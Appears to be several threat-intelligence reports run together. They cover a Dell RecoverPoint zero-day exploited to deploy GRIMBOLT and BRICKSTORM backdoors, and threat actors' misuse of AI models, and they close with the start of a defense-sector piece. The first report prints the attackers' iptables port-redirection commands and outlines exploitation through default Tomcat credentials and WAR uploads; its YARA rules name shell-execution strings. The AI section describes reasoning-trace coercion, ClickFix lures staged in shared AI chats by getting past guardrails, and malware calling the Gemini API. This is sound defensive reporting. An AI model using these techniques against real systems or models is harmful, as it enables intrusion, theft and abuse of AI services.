Written by: Peter Ukhanov, Daniel Sislo, Nick Harbour, John Scarbrough, Fernando Tomlinson, Jr., Rich Reece

Introduction 

Mandiant and Google Threat Intelligence Group (GTIG) have identified the zero-day exploitation of a high-risk vulnerability in Dell RecoverPoint for Virtual Machines, tracked as CVE-2026-22769, with a CVSSv3.1 score of 10.0. Analysis of incident response engagements revealed that UNC6201, a suspected PRC-nexus threat cluster, has exploited this flaw since at least mid-2024 to move laterally, maintain persistent access, and deploy malware including SLAYSTYLE, BRICKSTORM, and a novel backdoor tracked as GRIMBOLT. The initial access vector for these incidents was not confirmed, but UNC6201 is known to target edge appliances (such as VPN concentrators) for initial access. There are notable overlaps between UNC6201 and UNC5221, which has been used synonymously with the actor publicly reported as Silk Typhoon, although GTIG does not currently consider the two clusters to be the same.

This report builds on previous GTIG research into BRICKSTORM espionage activity, providing a technical deep dive into the exploitation of CVE-2026-22769 and the functionality of the GRIMBOLT malware. Mandiant identified a campaign featuring the replacement of older BRICKSTORM binaries with GRIMBOLT in September 2025. GRIMBOLT represents a shift in tradecraft; this newly identified malware, written in C# and compiled using native ahead-of-time (AOT) compilation, is designed to complicate static analysis and enhance performance on resource-constrained appliances.

Beyond the Dell appliance exploitation, Mandiant observed the actor employing novel tactics to pivot into VMware virtual infrastructure, including the creation of "Ghost NICs" for stealthy network pivoting and the use of iptables for Single Packet Authorization (SPA).

Dell has released remediations for CVE-2026-22769, and customers are urged to follow the guidance in the official Security Advisory. This post provides actionable hardening guidance, detection opportunities, and a technical analysis of the UNC6201 tactics, techniques, and procedures (TTPs).

GRIMBOLT

During analysis of compromised Dell RecoverPoint for Virtual Machines, Mandiant discovered the presence of BRICKSTORM binaries and the subsequent replacement of these binaries with GRIMBOLT in September 2025. GRIMBOLT is a C#-written foothold backdoor compiled using native ahead-of-time (AOT) compilation and packed with UPX. It provides a remote shell capability and uses the same command and control as previously deployed BRICKSTORM payload. It's unclear if the threat actor's replacement of BRICKSTORM with GRIMBOLT was part of a pre-planned life cycle iteration by the threat actor or a reaction to incident response efforts led by Mandiant and other industry partners. Unlike traditional .NET software that uses just-in-time (JIT) compilation at runtime, Native AOT-compiled binaries, introduced to .NET in 2022, are converted directly to machine-native code during compilation. This approach enhances the software’s performance on resource-constrained appliances, ensures required libraries are already present in the file, and complicates static analysis by removing the common intermediate language (CIL) metadata typically associated with C# samples.

UNC6201 established BRICKSTORM and GRIMBOLT persistence on the Dell RecoverPoint for Virtual Machines by modifying a legitimate shell script named convert_hosts.sh to include the path to the backdoor. This shell script is executed by the appliance at boot time via rc.local.

CVE-2026-22769

Mandiant discovered CVE-2026-22769 while investigating multiple Dell RecoverPoint for Virtual Machines within a victim’s environment that had active C2 associated with BRICKSTORM and GRIMBOLT backdoors. During analysis of the appliances, analysts identified multiple web requests to an appliance prior to compromise using the username admin. These requests were directed to the installed Apache Tomcat Manager, used to deploy various components of the Dell RecoverPoint software, and resulted in the deployment of a malicious WAR file containing a SLAYSTYLE web shell.

After analyzing various configuration files belonging to Tomcat Manager, we identified a set of hard-coded default credentials for the admin user in /home/kos/tomcat9/tomcat-users.xml. Using these credentials, a threat actor could authenticate to the Dell RecoverPoint Tomcat Manager, upload a malicious WAR file using the /manager/text/deploy endpoint, and then execute commands as root on the appliance.

The earliest identified exploitation activity of this vulnerability occurred in mid-2024.

Newly Observed VMware Activity

During the course of the recent investigations, Mandiant observed continued compromise of VMware virtual infrastructure by the threat actor as previously reported by Mandiant, CrowdStrike, and CISA. Additionally, several new TTPs were discovered that haven’t been previously reported on.

Ghost NICs

Mandiant discovered the threat actor creating new temporary network ports on existing virtual machines running on an ESXi server. Using these network ports, the threat actor then pivoted to various internal and software-as-a-service (SaaS) infrastructures used by the affected organizations.

iptables proxying

While analyzing compromised vCenter appliances, Mandiant recovered several commands from Systemd Journal executed by the threat actor using a deployed SLAYSTYLE web shell. These iptable commands were used for Single Packet Authorization and consisted of:

• Monitoring incoming traffic on port 443 for a specific HEX string

• Adding the source IP of that traffic to a list and if the IP is on the list and connects to port 10443, the connection is ACCEPTED

• Once the initial approved traffic comes in to port 10443, any subsequent traffic is automatically redirected

• For the next 300 seconds (five minutes), any traffic to port 443 is silently redirected to port 10443 if the IP is on the approved list

iptables -I INPUT -i eth0 -p tcp --dport 443 -m string --hex-string <HEX_STRING>
iptables -A port_filter -i eth0 -p tcp --dport 10443 --syn -m recent --rcheck --name ipt -j ACCEPT
iptables -t nat -N IPT
iptables -t nat -A IPT -p tcp -j REDIRECT --to-ports 10443
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 443 --syn -m recent --rcheck --name ipt --seconds 300 -j IPT

Remediation

The following investigative guide can assist defenders in analyzing Dell RecoverPoint for Virtual Machines. 

Forensic Analysis of Dell RecoverPoint Disk Image

The following artifacts are high-value sources of evidence for incident responders conducting full disk image analysis of Dell RecoverPoint for Virtual Machines.

• Web logs for Tomcat Manager are stored in /home/kos/auditlog/fapi_cl_audit_log.log. Check log file for any instances of requests to /manager. Any instances of those requests should be considered suspicious

• Any requests for PUT /manager/text/deploy?path=/<MAL_PATH>&update=true are potentially malicious. MAL_PATH will be the path where a potentially malicious WAR file was uploaded

• Uploaded WAR files are typically stored in /var/lib/tomcat9

• Compiled artifacts for uploaded WAR files are located in /var/cache/tomcat9/Catalina

• Tomcat application logs located in /var/log/tomcat9/

• Catalina - investigate any org.apache.catalina.startup.HostConfig.deployWAR and org.apache.catalina.startup.HostConfig.deployWAR events

• Localhost - Contains additional events associated with WAR deployment and any exceptions generated by malicious WAR and embedded files 

• Persistence for BRICKSTORM and GRIMBOLT backdoors on Dell RecoverPoint for Virtual Machines was established by modifying /home/kos/kbox/src/installation/distribution/convert_hosts.sh to include the path to the backdoor

Indicators of Compromise (IOCs)

To assist the wider community in hunting and identifying activity outlined in this blog post, we have included IOCs in a free GTI Collection for registered users.

File Indicators

Network Indicators

YARA Rules

G_APT_BackdoorToehold_GRIMBOLT_1

rule G_APT_BackdoorToehold_GRIMBOLT_1
{
  meta:
    author = "Google Threat Intelligence Group (GTIG)"
  strings:
    $s1 = { 40 00 00 00 41 18 00 00 00 4B 21 20 C2 2C 08 23 02 }
    $s2 = { B3 C3 BB 41 0D ?? ?? ?? 00 81 02 0C ?? ?? ?? 00 }
    $s3 = { 39 08 01 49 30 A0 52 30 00 00 00 DB 40 09 00 02 00 80 65 BC 98 }
    $s4 = { 2F 00 72 00 6F 00 75 00 74 00 65 79 23 E8 03 0E 00 00 00 2F 00 70 00 72 00 6F 00 63 00 2F 00 73 00 65 00 6C 00 66 00 2F 00 65 00 78 00 65 }
  condition:
    (uint32(0) == 0x464c457f) //linux
    and all of ($s*)
}

G_Hunting_BackdoorToehold_GRIMBOLT_1

rule G_Hunting_BackdoorToehold_GRIMBOLT_1
{
    meta:
        author = "Google Threat Intelligence Group (GTIG)"

    strings:
        $s1 = "[!] Error : Plexor is nul" ascii wide
        $s2 = "port must within 0~6553" ascii wide
        $s3 = "[*] Disposing.." ascii wide
        $s4 = "[!] Connection error. Kill Pty" ascii wide
        $s5 = "[!] Unkown message type" ascii wide
        $s6 = "[!] Bad dat" ascii wide
    condition:
        (  
            (uint16(0) == 0x5a4d and uint32(uint32(0x3C)) == 0x00004550) or
            uint32(0) == 0x464c457f or
            uint32(0) == 0xfeedface or
            uint32(0) == 0xcefaedfe or
            uint32(0) == 0xfeedfacf or
            uint32(0) == 0xcffaedfe or
            uint32(0) == 0xcafebabe or
            uint32(0) == 0xbebafeca or
            uint32(0) == 0xcafebabf or
            uint32(0) == 0xbfbafeca
        ) and any of them
}

G_APT_BackdoorWebshell_SLAYSTYLE_4

rule G_APT_BackdoorWebshell_SLAYSTYLE_4
{
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
	strings:
		$str1 = "<%@page import=\"java.io" ascii wide
		$str2 = "Base64.getDecoder().decode(c.substring(1)" ascii wide
		$str3 = "{\"/bin/sh\",\"-c\"" ascii wide
		$str4 = "Runtime.getRuntime().exec(" ascii wide
		$str5 = "ByteArrayOutputStream();" ascii wide
		$str6 = ".printStackTrace(" ascii wide
	condition:
		$str1 at 0 and all of them
}

Google Security Operations (SecOps)

Google Security Operations (SecOps) customers have access to these broad category rules and more under the “Mandiant Frontline Threats” and “Mandiant Hunting Rules” rule packs. The activity discussed in the blog post is detected in Google SecOps under the rule names:

• Web Archive File Write To Tomcat Directory

• Remote Application Deployment via Tomcat Manager

• Suspicious File Write To Tomcat Cache Directory

• Kbox Distribution Script Modification

• Multiple DNS-over-HTTPS Services Queried

• Unknown Endpoint Generating DNS-over-HTTPS and Web Application Development Services Communication

• Unknown Endpoint Generating Google DNS-over-HTTPS and Cloudflare Hosted IP Communication

• Unknown Endpoint Generating Google DNS-over-HTTPS and Amazon Hosted IP Communication

Acknowledgements

We appreciate Dell for their collaboration against this threat. This analysis would not have been possible without the assistance from across Google Threat Intelligence Group, Mandiant Consulting and FLARE. We would like to specifically thank Jakub Jozwiak and Allan Sepillo from GTIG Research and Discovery (RAD).

Introduction

In the final quarter of 2025, Google Threat Intelligence Group (GTIG) observed threat actors increasingly integrating artificial intelligence (AI) to accelerate the attack lifecycle, achieving productivity gains in reconnaissance, social engineering, and malware development. This report serves as an update to our November 2025 findings regarding the advances in threat actor usage of AI tools.

By identifying these early indicators and offensive proofs of concept, GTIG aims to arm defenders with the intelligence necessary to anticipate the next phase of AI-enabled threats, proactively thwart malicious activity, and continually strengthen both our classifiers and model.

Executive Summary

Google DeepMind and GTIG have identified an increase in model extraction attempts or "distillation attacks," a method of intellectual property theft that violates Google's terms of service. Throughout this report we've noted steps we've taken to thwart malicious activity, including Google detecting, disrupting, and mitigating model extraction activity. While we have not observed direct attacks on frontier models or generative AI products from advanced persistent threat (APT) actors, we observed and mitigated frequent model extraction attacks from private sector entities all over the world and researchers seeking to clone proprietary logic. 

For government-backed threat actors, large language models (LLMs) have become essential tools for technical research, targeting, and the rapid generation of nuanced phishing lures. This quarterly report highlights how threat actors from the Democratic People's Republic of Korea (DPRK), Iran, the People's Republic of China (PRC), and Russia operationalized AI in late 2025 and improves our understanding of how adversarial misuse of generative AI shows up in campaigns we disrupt in the wild. GTIG has not yet observed APT or information operations (IO) actors achieving breakthrough capabilities that fundamentally alter the threat landscape.

This report specifically examines:

• Model Extraction Attacks: "Distillation attacks" are on the rise as a method for intellectual property theft over the last year.
• AI-Augmented Operations: Real-world case studies demonstrate how groups are streamlining reconnaissance and rapport-building phishing.
• Agentic AI: Threat actors are beginning to show interest in building agentic AI capabilities to support malware and tooling development. 
• AI-Integrated Malware: There are new malware families, such as HONESTCUE, that experiment with using Gemini's application programming interface (API) to generate code that enables download and execution of second-stage malware.
• Underground "Jailbreak" Ecosystem: Malicious services like Xanthorox are emerging in the underground, claiming to be independent models while actually relying on jailbroken commercial APIs and open-source Model Context Protocol (MCP) servers.

At Google, we are committed to developing AI boldly and responsibly, which means taking proactive steps to disrupt malicious activity by disabling the projects and accounts associated with bad actors, while continuously improving our models to make them less susceptible to misuse. We also proactively share industry best practices to arm defenders and enable stronger protections across the ecosystem. Throughout this report, we note steps we've taken to thwart malicious activity, including disabling assets and applying intelligence to strengthen both our classifiers and model so it's protected from misuse moving forward. Additional details on how we're protecting and defending Gemini can be found in the white paper "Advancing Gemini’s Security Safeguards." 

Direct Model Risks: Disrupting Model Extraction Attacks

As organizations increasingly integrate LLMs into their core operations, the proprietary logic and specialized training of these models have emerged as high-value targets. Historically, adversaries seeking to steal high-tech capabilities used conventional computer-enabled intrusion operations to compromise organizations and steal data containing trade secrets. For many AI technologies where LLMs are offered as services, this approach is no longer required; actors can use legitimate API access to attempt to "clone" select AI model capabilities.

During 2025, we did not observe any direct attacks on frontier models from tracked APT or information operations (IO) actors. However, we did observe model extraction attacks, also known as distillation attacks, on our AI models, to gain insights into a model's underlying reasoning and chain-of-thought processes.

What Are Model Extraction Attacks? 

Model extraction attacks (MEA) occur when an adversary uses legitimate access to systematically probe a mature machine learning model to extract information used to train a new model. Adversaries engaging in MEA use a technique called knowledge distillation (KD) to take information gleaned from one model and transfer the knowledge to another. For this reason, MEA are frequently referred to as "distillation attacks."

Model extraction and subsequent knowledge distillation enable an attacker to accelerate AI model development quickly and at a significantly lower cost. This activity effectively represents a form of intellectual property (IP) theft.

Knowledge distillation (KD) is a common machine learning technique used to train "student" models from pre-existing "teacher" models. This often involves querying the teacher model for problems in a particular domain, and then performing supervised fine tuning (SFT) on the result or utilizing the result in other model training procedures to produce the student model. There are legitimate uses for distillation, and Google Cloud has existing offerings to perform distillation. However, distillation from Google's Gemini models without permission is a violation of our Terms of Service, and Google continues to develop techniques to detect and mitigate these attempts.

Google DeepMind and GTIG identified and disrupted model extraction attacks, specifically attempts at model stealing and capability extraction emanating from researchers and private sector companies globally.

Case Study: Reasoning Trace Coercion

A common target for attackers is Gemini's exceptional reasoning capability. While internal reasoning traces are typically summarized before being delivered to users, attackers have attempted to coerce the model into outputting full reasoning processes.

One identified attack instructed Gemini that the "... language used in the thinking content must be strictly consistent with the main language of the user input."

Analysis of this campaign revealed:

Model Extraction and Distillation Attack Risks

Model extraction and distillation attacks do not typically represent a risk to average users, as they do not threaten the confidentiality, availability, or integrity of AI services. Instead, the risk is concentrated among model developers and service providers.

Organizations that provide AI models as a service should monitor API access for extraction or distillation patterns. For example, a custom model tuned for financial data analysis could be targeted by a commercial competitor seeking to create a derivative product, or a coding model could be targeted by an adversary wishing to replicate capabilities in an environment without guardrails.

Highlights of AI-Augmented Adversary Activity

A consistent finding over the past year is that government-backed attackers misuse Gemini for coding and scripting tasks, gathering information about potential targets, researching publicly known vulnerabilities, and enabling post-compromise activities. In Q4 2025, GTIG's understanding of how these efforts translate into real-world operations improved as we saw direct and indirect links between threat actor misuse of Gemini and activity in the wild.

Supporting Reconnaissance and Target Development 

APT actors used Gemini to support several phases of the attack lifecycle, including a focus on reconnaissance and target development to facilitate initial compromise. This activity underscores a shift toward AI-augmented phishing enablement, where the speed and accuracy of LLMs can bypass the manual labor traditionally required for victim profiling. Beyond generating content for phishing lures, LLMs can serve as a strategic force multiplier during the reconnaissance phase of an attack, allowing threat actors to rapidly synthesize open-source intelligence (OSINT) to profile high-value targets, identify key decision-makers within defense sectors, and map organizational hierarchies. By integrating these tools into their workflow, threat actors can move from initial reconnaissance to active targeting at a faster pace and broader scale.  

• UNC6418, an unattributed threat actor, misused Gemini to conduct targeted intelligence gathering, specifically seeking out sensitive account credentials and email addresses. Shortly after, GTIG observed the threat actor target all these accounts in a phishing campaign focused on Ukraine and the defense sector. Google has taken action against this actor by disabling the assets associated with this activity.

• Temp.HEX, a PRC-based threat actor, misused Gemini and other AI tools to compile detailed information on specific individuals, including targets in Pakistan, and to collect operational and structural data on separatist organizations in various countries. While we did not see direct targeting as a result of this research, shortly after the threat actor included similar targets in Pakistan in their campaign. Google has taken action against this actor by disabling the assets associated with this activity.

Phishing Augmentation

Defenders and targets have long relied on indicators such as poor grammar, awkward syntax, or lack of cultural context to help identify phishing attempts. Increasingly, threat actors now leverage LLMs to generate hyper-personalized, culturally nuanced lures that can mirror the professional tone of a target organization or local language. 

This capability extends beyond simple email generation into "rapport-building phishing," where models are used to maintain multi-turn, believable conversations with victims to build trust before a malicious payload is ever delivered. By lowering the barrier to entry for non-native speakers and automating the creation of high-quality content, adversaries can largely erase those "tells" and improve the effectiveness of their social engineering efforts.

• The Iranian government-backed actor APT42 leveraged generative AI models, including Gemini, to significantly augment reconnaissance and targeted social engineering. APT42 misuses Gemini to search for official emails for specific entities and conduct reconnaissance on potential business partners to establish a credible pretext for an approach. This includes attempts to enumerate the official email addresses for specific entities and to conduct research to establish a credible pretext for an approach. By providing Gemini with the biography of a target, APT42 misused Gemini to craft a good persona or scenario to get engagement from the target. As with many threat actors tracked by GTIG, APT42 uses Gemini to translate into and out of local languages, as well as to better understand non-native-language phrases and references. Google has taken action against this actor by disabling the assets associated with this activity.

• The North Korean government-backed actor UNC2970 has consistently focused on defense targeting and impersonating corporate recruiters in their campaigns. The group used Gemini to synthesize OSINT and profile high-value targets to support campaign planning and reconnaissance. This actor's target profiling included searching for information on major cybersecurity and defense companies and mapping specific technical job roles and salary information. This activity blurs the distinction between routine professional research and malicious reconnaissance, as the actor gathers the necessary components to create tailored, high-fidelity phishing personas and identify potential soft targets for initial compromise. Google has taken action against this actor by disabling the assets associated with this activity. 

Threat Actors Continue to Use AI to Support Coding and Tooling Development 

State-sponsored actors continue to misuse Gemini to enhance all stages of their operations, from reconnaissance and phishing lure creation to command-and-control (C2 or C&C) development and data exfiltration. We have also observed activity demonstrating an interest in using agentic AI capabilities to support campaigns, such as prompting Gemini with an expert cybersecurity persona, or attempting to create an AI-integrated code auditing capability.

APT31 employed a highly structured approach by prompting Gemini with an expert cybersecurity persona to automate the analysis of vulnerabilities and generate targeted testing plans. The PRC-based threat actor fabricated a scenario, in one case trialing Hexstrike MCP tooling, and directing the model to analyze remote code execution (RCE), web application firewall (WAF) bypass techniques, and SQL injection test results against specific US-based targets. This automated intelligence gathering to identify technological vulnerabilities and organizational defense weaknesses. This activity explicitly blurs the line between a routine security assessment query and a targeted malicious reconnaissance operation. Google has taken action against this actor by disabling the assets associated with this activity.

UNC795, a PRC-based actor, relied heavily on Gemini throughout their entire attack lifecycle. GTIG observed the group consistently engaging with Gemini multiple days a week to troubleshoot their code, conduct research, and generate technical capabilities for their intrusion activity. The threat actor's activity triggered safety systems, and Gemini did not comply with the actor's attempts to create policy-violating capabilities. 

The group also employed Gemini to create an AI-integrated code auditing capability, likely demonstrating an interest in agentic AI utilities to support their intrusion activity. Google has taken action against this actor by disabling the assets associated with this activity.

We observed activity likely associated with the PRC-based threat actor APT41, which leveraged Gemini to accelerate the development and deployment of malicious tooling, including for knowledge synthesis, real-time troubleshooting, and code translation. In particular, multiple times the actor gave Gemini open-source tool README pages and asked for explanations and use case examples for specific tools. Google has taken action against this actor by disabling the assets associated with this activity.

In addition to leveraging Gemini for the aforementioned social engineering campaigns, the Iranian threat actor APT42 uses Gemini as an engineering platform to accelerate the development of specialized malicious tools. The threat actor is actively engaged in developing new malware and offensive tooling, leveraging Gemini for debugging, code generation, and researching exploitation techniques. Google has taken action against this actor by disabling the assets associated with this activity.

Using Gemini to Support Information Operations

GTIG continues to observe IO actors use Gemini for productivity gains (research, content creation, localization, etc.), which aligns with their previous use of Gemini. We have identified Gemini activity that indicates threat actors are soliciting the tool to help create articles, generate assets, and aid them in coding. However, we have not identified this generated content in the wild. None of these attempts have created breakthrough capabilities for IO campaigns. Threat actors from China, Iran, Russia, and Saudi Arabia are producing political satire and propaganda to advance specific ideas across both digital platforms and physical media, such as printed posters.

Continuing Experimentation with AI-Enabled Malware 

GTIG continued to observe threat actors experiment with AI to implement novel capabilities in malware families in late 2025. While we have not encountered experimental AI-enabled techniques resulting in revolutionary paradigm shifts in the threat landscape, these proof-of-concept malware families are early indicators of how threat actors can implement AI techniques as part of future operations. We expect this exploratory testing will increase in the future.

In addition to continued experimentation with novel capabilities, throughout late 2025 GTIG observed threat actors integrating conventional AI-generated capabilities into their intrusion operations such as the COINBAIT phishing kit. We expect threat actors will continue to incorporate AI throughout the attack lifecycle including: supporting malware creation, improving pre-existing malware, researching vulnerabilities, conducting reconnaissance, and/or generating lure content.

Outsourcing Functionality: HONESTCUE

In September 2025, GTIG observed malware samples, which we track as HONESTCUE, leveraging Gemini's API to outsource functionality generation. Our examination of HONESTCUE malware samples indicates the adversary's incorporation of AI is likely designed to support a multi-layered approach to obfuscation by undermining traditional network-based detection and static analysis. 

HONESTCUE is a downloader and launcher framework that sends a prompt via Google Gemini's API and receives C# source code as the response. Notably, HONESTCUE shares capabilities similar to PROMPTFLUX's "just-in-time" (JIT) technique that we previously observed; however, rather than leveraging an LLM to update itself, HONESTCUE calls the Gemini API to generate code that operates the "stage two" functionality, which downloads and executes another piece of malware. Additionally, the fileless secondary stage of HONESTCUE takes the C# source code received from the Gemini API and uses the legitimate .NET CSharpCodeProvider framework to compile and execute the payload directly in memory. This approach leaves no payload artifacts on the disk. We have also observed the threat actor use content delivery networks (CDNs) like Discord CDN to host the final payloads.

We have not associated this malware with any existing clusters of threat activity; however, we suspect this malware is being developed by developers who possess a modicum of technical expertise. Specifically, the small iterative changes across many samples as well as the single VirusTotal submitter, potentially testing antivirus capabilities, suggests a singular actor or small group. Additionally, the use of Discord to test payload delivery and the submission of Discord Bots indicates an actor with limited technical sophistication. The consistency and clarity of the architecture coupled with the iterative progression of the examined malware samples strongly suggest this is a single actor or small group likely in the proof-of-concept stage of implementation. 

HONESTCUE's use of a hard-coded prompt is not malicious in its own right, and, devoid of any context related to malware, it is unlikely that the prompt would be considered "malicious." Outsourcing a facet of malware functionality and leveraging an LLM to develop seemingly innocuous code that fits into a bigger, malicious construct demonstrates how threat actors will likely embrace AI applications to augment their campaigns while bypassing security guardrails.

AI-Generated Phishing Kit: COINBAIT

In November 2025, GTIG identified COINBAIT, a phishing kit, whose construction was likely accelerated by AI code generation tools, masquerading as a major cryptocurrency exchange for credential harvesting. Based on direct infrastructure overlaps and the use of attributed domains, we assess with high confidence that a portion of this activity overlaps with UNC5356, a financially motivated threat cluster that makes use of SMS- and phone-based phishing campaigns to target clients of financial organizations, cryptocurrency-related companies, and various other popular businesses and services. 

An examination of the malware samples indicates the kit was built using the AI-powered platform Lovable AI based on the use of the lovableSupabase client and lovable.app for image hosting.

• By hosting content on a legitimate, trusted service, the actor increases the likelihood of bypassing network security filters that would otherwise block the suspicious primary domain.

• The phishing kit was wrapped in a full React Single-Page Application (SPA) with complex state management and routing. This complexity is indicative of code generated from high-level prompts (e.g., "Create a Coinbase-style UI for wallet recovery") using a framework like Lovable AI. 

• Another key indicator of LLM use is the presence of verbose, developer-oriented logging messages directly within the malware's source code. These messages—consistently prefixed with "? Analytics:"—provide a real-time trace of the kit's malicious tracking and data exfiltration activities and serve as a unique fingerprint for this code family.

We also observed the group employ infrastructure and evasion tactics for their operations, including proxying phishing domains through Cloudflare to obscure the attacker IP addresses and  hotlinking image assets in phishing pages directly from Lovable AI. 

The introduction of the COINBAIT phishing kit would represent an evolution in UNC5356's tooling, demonstrating a shift toward modern web frameworks and legitimate cloud services to enhance the sophistication and scalability of their social engineering campaigns. However, there is at least some evidence to suggest that COINBAIT may be a service provided to multiple disparate threat actors.

Cyber Crime Use of AI Tooling

In addition to misusing existing AI-enabled tools and services across the industry, there is a growing interest and marketplace for AI tools and services purpose-built to enable illicit activities. Tools and services offered via underground forums can enable low-level actors to augment the frequency, scope, efficacy, and complexity of their intrusions despite their limited technical acumen and financial resources. While financially motivated threat actors continue experimenting, they have not yet made breakthroughs in developing AI tooling. 

Threat Actors Leveraging AI Services for Social Engineering in 'ClickFix' Campaigns

While not a new malware technique, GTIG observed instances in which threat actors abused the public's trust in generative AI services to attempt to deliver malware. GTIG identified a novel campaign where threat actors are leveraging the public sharing feature of generative AI services, including Gemini, to host deceptive social engineering content. This activity, first observed in early December 2025, attempts to trick users into installing malware via the well-established "ClickFix" technique. This ClickFix technique is used to socially engineer users to copy and paste a malicious command into the command terminal.

The threat actors were able to bypass safety guardrails to stage malicious instructions on how to perform a variety of tasks on macOS, ultimately distributing variants of ATOMIC, an information stealer that targets the macOS environment and has the ability to collect browser data, cryptocurrency wallets, system information, and files in the Desktop and Documents folders. The threat actors behind this campaign have used a wide range of AI chat platforms to host their malicious instructions, including ChatGPT, CoPilot, DeepSeek, Gemini, and Grok.

The campaign's objective is to lure users, primarily those on Windows and macOS systems, into manually executing malicious commands. The attack chain operates as follows:

• A threat actor first crafts a malicious command line that, if copied and pasted by a victim, would infect them with malware.

• Next, the threat actor manipulates the AI to create realistic-looking instructions to fix a common computer issue (e.g., clearing disk space or installing software), but gives the malicious command line to the AI as the solution.

• Gemini and other AI tools allow a user to create a shareable link to specific chat transcripts so a specific AI response can be shared with others. The attacker now has a link to a malicious ClickFix landing page hosted on the AI service's infrastructure.

• The attacker purchases malicious advertisements or otherwise directs unsuspecting victims to the publicly shared chat transcript.

• The victim is fooled by the AI chat transcript and follows the instructions to copy a seemingly legitimate command-line script and paste it directly into their system's terminal. This command will download and install malware. Since the action is user initiated and uses built-in system commands, it may be harder for security software to detect and block.

There were different lures generated for Windows and MacOS, and the use of malicious advertising techniques for payload distribution suggests the targeting is likely fairly broad and opportunistic. 

This approach allows threat actors to leverage trusted domains to host their initial stage of instruction, relying on social engineering to carry out the final, highly destructive step of execution. While a widely used approach, this marks the first time GTIG observed the public sharing feature of AI services being abused as trusted domains.

Observations from the Underground Marketplace: Threat Actors Abusing AI API Keys

While legitimate AI services remain popular tools for threat actors, there is an enduring market for AI services specifically designed to support malicious activity. Current observations of English- and Russian-language underground forums indicates there is a persistent appetite for AI-enabled tools and services, which aligns with our previous assessment of these platforms. 

However, threat actors struggle to develop custom models and instead rely on mature models such as Gemini. For example, "Xanthorox" is an underground toolkit that advertises itself as a custom AI for cyber offensive purposes, such as autonomous code generation of malware and development of phishing campaigns. The model was advertised as a "bespoke, privacy preserving self-hosted AI" designed to autonomously generate malware, ransomware, and phishing content. However, our investigation revealed that Xanthorox is not a custom AI but actually powered by several third-party and commercial AI products, including Gemini.

This setup leverages a key abuse vector: the integration of multiple open-source AI products—specifically Crush, Hexstrike AI, LibreChat-AI, and Open WebUI—opportunistically leveraged via Model Context Protocol (MCP) servers to build an agentic AI service upon commercial models.

In order to misuse LLMs services for malicious operations in a scalable way, threat actors need API keys and resources that enable LLM integrations. This creates a hijacking risk for organizations with substantial cloud resources and AI resources. 

In addition, vulnerable open-source AI tools are commonly exploited to steal AI API keys from users, thus facilitating a thriving black market for unauthorized API resale and key hijacking, enabling widespread abuse, and incurring costs for the affected users. For example, the One API and New API platform, popular with users facing country-level censorship, are regularly harvested for API keys by attackers, exploiting publicly known vulnerabilities such as default credentials, insecure authentication, lack of rate limiting, XSS flaws, and API key exposure via insecure API endpoints.

Building AI Safely and Responsibly 

We believe our approach to AI must be both bold and responsible. That means developing AI in a way that maximizes the positive benefits to society while addressing the challenges. Guided by our AI Principles, Google designs AI systems with robust security measures and strong safety guardrails, and we continuously test the security and safety of our models to improve them. 

Our policy guidelines and prohibited use policies prioritize safety and responsible use of Google's generative AI tools. Google's policy development process includes identifying emerging trends, thinking end-to-end, and designing for safety. We continuously enhance safeguards in our products to offer scaled protections to users across the globe.  

At Google, we leverage threat intelligence to disrupt adversary operations. We investigate abuse of our products, services, users, and platforms, including malicious cyber activities by government-backed threat actors, and work with law enforcement when appropriate. Moreover, our learnings from countering malicious activities are fed back into our product development to improve safety and security for our AI models. These changes, which can be made to both our classifiers and at the model level, are essential to maintaining agility in our defenses and preventing further misuse.

Google DeepMind also develops threat models for generative AI to identify potential vulnerabilities and creates new evaluation and training techniques to address misuse. In conjunction with this research, Google DeepMind has shared how they're actively deploying defenses in AI systems, along with measurement and monitoring tools, including a robust evaluation framework that can automatically red team an AI vulnerability to indirect prompt injection attacks. 

Our AI development and Trust & Safety teams also work closely with our threat intelligence, security, and modelling teams to stem misuse.

The potential of AI, especially generative AI, is immense. As innovation moves forward, the industry needs security standards for building and deploying AI responsibly. That's why we introduced the Secure AI Framework (SAIF), a conceptual framework to secure AI systems. We've shared a comprehensive toolkit for developers with resources and guidance for designing, building, and evaluating AI models responsibly. We've also shared best practices for implementing safeguards, evaluating model safety, red teaming to test and secure AI systems, and our comprehensive prompt injection approach.

Working closely with industry partners is crucial to building stronger protections for all of our users. To that end, we're fortunate to have strong collaborative partnerships with numerous researchers, and we appreciate the work of these researchers and others in the community to help us red team and refine our defenses.

Google also continuously invests in AI research, helping to ensure AI is built responsibly, and that we're leveraging its potential to automatically find risks. Last year, we introduced Big Sleep, an AI agent developed by Google DeepMind and Google Project Zero, that actively searches and finds unknown security vulnerabilities in software. Big Sleep has since found its first real-world security vulnerability and assisted in finding a vulnerability that was imminently going to be used by threat actors, which GTIG was able to cut off beforehand. We're also experimenting with AI to not only find vulnerabilities, but also patch them. We recently introduced CodeMender, an experimental AI-powered agent using the advanced reasoning capabilities of our Gemini models to automatically fix critical code vulnerabilities. 

Indicators of Compromise (IOCs)

To assist the wider community in hunting and identifying activity outlined in this blog post, we have included IOCs in a free GTI Collection for registered users.

About the Authors

Google Threat Intelligence Group focuses on identifying, analyzing, mitigating, and eliminating entire classes of cyber threats against Alphabet, our users, and our customers. Our work includes countering threats from government-backed actors, targeted zero-day exploits, coordinated information operations (IO), and serious cyber crime networks. We apply our intelligence to improve Google's defenses and protect our users and customers.

Introduction 

In modern warfare, the front lines are no longer confined to the battlefield; they extend directly into the servers and supply chains of the industry that safeguards the nation. Today, the defense sector faces a relentless barrage of cyber operations conducted by state-sponsored actors and criminal groups alike. In recent years, Google Threat Intelligence Group (GTIG) has observed several distinct areas of focus in adversarial targeting of the defense industrial base (DIB). While not exhaustive of all actors and means, some of the more prominent themes in the landscape today include: 

• Consistent effort has been dedicated to targeting defense entities fielding technologies on the battlefield in the Russia-Ukraine War. As next-generation capabilities are being operationalized in this environment, Russia-nexus threat actors and hacktivists are seeking to compromise defense contractors alongside military assets and systems, with a focus on organizations involved with unmanned aircraft systems (UAS). This includes targeting defense companies directly, using themes mimicking their products and systems in intrusions against military organizations and personnel. 

• Across global defense and aerospace firms, the direct targeting of employees and exploitation of the hiring process has emerged as a key theme. From the North Korean IT worker threat, to the spoofing of recruitment portals by Iranian espionage actors, to the direct targeting of defense contractors' personal emails, GTIG continues to observe a multifaceted threat landscape that centers around personnel, and often in a manner that evades traditional enterprise security visibility.    

